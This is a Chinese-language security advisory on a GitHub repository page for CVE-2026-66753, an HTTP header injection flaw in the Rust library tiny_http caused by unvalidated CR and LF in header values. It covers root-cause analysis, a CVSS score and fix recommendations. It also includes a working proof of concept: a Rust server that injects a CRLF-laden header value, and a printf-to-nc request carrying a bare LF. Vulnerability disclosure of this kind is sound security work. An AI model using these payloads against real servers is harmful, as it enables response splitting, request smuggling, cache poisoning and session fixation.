theopaid/CVE-2026-66753-HTTP-Header-Injection-via-Unvalidated-CR-and-LF-in-Header-Values-tiny_http-
GitHub: theopaid/CVE-2026-66753-HTTP-Header-Injection-via-Unvalidated-CR-and-LF-in-Header-Values-tiny_http-
该仓库是一份针对 Rust HTTP 库 tiny_http 的安全通告,详细分析了因未校验 CRLF 控制字符而导致的 HTTP Header 注入漏洞(CVE-2026-66753)。
Stars: 0 | Forks: 0
# 安全通告:tiny_http 因 Header 值中未校验 CR 和 LF 导致的 HTTP Header 注入
**分配的 CVE ID:** CVE-2026-66753
## 概述
tiny_http 不会拒绝 HTTP header 值内部的回车符(CR)或换行符(LF),
无论在哪一端。
在请求端,`read_next_line` 仅在遇到 CRLF 时结束 header 行,因此孤立的 LF 会保留在解析出的值中并到达应用程序。在响应端,`Header::from_bytes` 仅校验字节是否为 ASCII,并且响应写入器会原样输出值,因此包含 CRLF 的值会拆分响应。
因此,将请求 header 值反射到响应 header 中,或者将请求 header 重新序列化到另一个连接上的应用程序,都会继承这种注入原语,且没有任何迹象表明出现了问题。
## 受影响版本
仓库 URL:https://github.com/tiny-http/tiny-http
| | |
|---|---|
| 受影响 | 截至并包含 0.12.0(2022-10-06,即当前发布版本)的所有已发布版本 |
| 已验证 | 0.6.2, 0.6.3, 0.8.0, 0.9.0, 0.10.0, 0.11.0, 0.12.0 |
| 修复版本 | 截至撰稿时无修复版本 |
这与 RUSTSEC-2020-0031 / CVE-2020-35884 不同,后者涵盖 `Transfer-Encoding` 解析,并在 0.6.3 和 0.8.0 版本中已修复。本文描述的行为在该修复前后均存在。
## 严重程度
CWE-113(HTTP Headers 中 CRLF 序列的不当中和处理),是 CWE-93(CRLF 注入)的一种具体情况。
CVSS 4.0 基础分 6.3(中危)
`CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:L/SI:L/SA:N`
## 威胁模型
向任何 tiny_http 服务器发送原始 HTTP 请求的远程、未经身份验证的客户端。无需凭证或用户交互。
两种消费者形式会将其转化为漏洞:
将请求 header 值复制到响应 header 中的应用程序。这是 CORS origin 回显、根据请求数据构建 `Location` header 以及处理 Cookie 时的反射模式。请求值中孤立的 LF 会到达响应,并且如果应用程序本身构造了响应值,它可能会携带完整的 CRLF。
将请求 header 重新序列化到另一个连接(例如反向代理)上的应用程序。孤立的 LF 会被写入上游请求中,而将单独的 LF 视为 header 行终止符的后端会将一个请求读取为两个。
RFC 9112 第 2.2 节允许接收方执行此操作,因此这些后端符合规范。经测量,Go `net/http` 和 Python `http.server` 均可接受它。
## 根本原因
### 请求端
`tiny_http-0.12.0/src/client.rs`,第 80 至 102 行。该循环仅在 LF 前面有 CR 时才返回。任何其他字节(包括孤立的 LF 或单独的 CR)都会在第 100 行被推入行缓冲区:
```
84 loop {
85 let byte = self.next_header_source.by_ref().bytes().next();
...
92 if byte == b'\n' && prev_byte_was_cr {
93 buf.pop(); // removing the '\r'
94 return AsciiString::from_ascii(buf)
95 .map_err(|_| IoError::new(ErrorKind::InvalidInput, "Header is not in ASCII"));
96 }
97
98 prev_byte_was_cr = byte == b'\r';
99
100 buf.push(byte);
101 }
```
LF 为 0x0A,CR 为 0x0D,两者都是有效的 ASCII,因此第 94 行的 `AsciiString::from_ascii` 会接受它们。
`tiny_http-0.12.0/src/common.rs`,第 184 至 191 行,随后仅对该值进行修剪。
`trim` 会移除开头和结尾的空白字符,但保持内部字节原封不动:
```
184 fn from_str(input: &str) -> Result {
185 let mut elems = input.splitn(2, ':');
186
187 let field = elems.next().and_then(|f| f.parse().ok()).ok_or(())?;
188 let value = elems
189 .next()
190 .and_then(|v| AsciiString::from_ascii(v.trim()).ok())
191 .ok_or(())?;
```
CRLF 对无法存活,因为它会终止该行,但是单独的 LF、单独的 CR 以及诸如 `\n\r` 这样的序列都可以保留下来。
### 响应端
`tiny_http-0.12.0/src/common.rs`,第 166 至 172 行,仅检查是否为 ASCII:
```
166 pub fn from_bytes(header: B1, value: B2) -> Result
...
171 let header = HeaderField::from_bytes(header).or(Err(()))?;
172 let value = AsciiString::from_ascii(value).or(Err(()))?;
```
`tiny_http-0.12.0/src/response.rs`,第 99 至 104 行,在写入该值时没有任何转义:
```
99 for header in headers.iter() {
100 writer.write_all(header.field.as_str().as_ref())?;
101 write!(&mut writer, ": ")?;
102 writer.write_all(header.value.as_str().as_ref())?;
103 write!(&mut writer, "\r\n")?;
104 }
```
请注意,第 226 行的 `HeaderField::from_str` 确实会拒绝字段名中的空白字符,但第 171 行的 `HeaderField::from_bytes` 并不会,因此响应 header 名称也未经检查。
## 概念验证
步骤 1. 启动一个服务器,打印出解析出的请求 header 值,并将包含 CRLF 的值回显到响应 header 中。
```
use tiny_http::{Header, Response, Server};
fn main() {
let server = Server::http("127.0.0.1:8004").unwrap();
for request in server.incoming_requests() {
for h in request.headers() {
if h.field.equiv("X-Test") {
println!("parsed X-Test value = {:?}", h.value.as_str());
}
}
let evil = "a\r\nX-Injected: yes";
let mut resp = Response::from_string("body");
resp.add_header(Header::from_bytes(&b"X-Echo"[..], evil.as_bytes()).unwrap());
let _ = request.respond(resp);
}
}
```
步骤 2. 发送一个 `X-Test` 值中包含单独 LF 的请求。在下面的命令中,`\n` 是单个换行符,而 `\r\n` 是 CRLF。这种区别正是测试的核心所在,因此不要让编辑器将其标准化。
```
printf 'GET / HTTP/1.1\r\nHost: x\r\nX-Test: aaa\nbbb\r\nConnection: close\r\n\r\n' | nc 127.0.0.1 8004
```
stdout 上的结果。LF 仍然保留在解析出的值内:
```
parsed X-Test value = "aaa\nbbb"
```
网络传输上的结果。响应 header 拆分成了两个:
```
HTTP/1.1 200 OK
Server: tiny-http (Rust)
Content-Type: text/plain; charset=UTF-8
X-Echo: a
X-Injected: yes
Content-Length: 4
body
```
## 影响
tiny_http 本身不会重新发送请求 header,因此请求端的行为是一种潜在原语,而非直接的入侵。它在任何转发或反射 header 值的消费者中都会变得可利用,从而在容忍 LF 的后端引发 request smuggling,或者在响应中引发 header injection。
响应端的行为在任何将受攻击者影响的文本放入 header 值的应用程序中都是可直接利用的:这会导致 origin 上下文中的脚本注入、缓存中毒、通过注入的 `Set-Cookie` 进行会话固定,以及覆盖安全 header。
作为对比,`http` crate 会在 `HeaderValue::from_str` 中拒绝 CR 和 LF,这就是为什么基于它构建的技术栈不会暴露这两种行为的原因。
## 修复建议
在两个边界处都拒绝控制字符。
在 `read_next_line`(`src/client.rs` 第 80 行)中,将 header 行中的单独 CR 或单独 LF 视为协议错误并返回 400,而不是将其折叠到值中。或者,在拆分后的 `Header::from_str`(`src/common.rs` 第 184 行)中拒绝它们。
在 `Header::from_bytes`(`src/common.rs` 第 166 行)中,拒绝包含 0x0D、0x0A 或 0x00 的值,并拒绝包含任何超出 RFC 9110 token 集的字段名。在那里返回 `Err` 已经由调用方进行了处理,因为其签名是可能出错的。
标签:CRLF注入, CVE, Rust, Web服务器, 可视化界面, 数字签名, 漏洞公告, 网络流量审计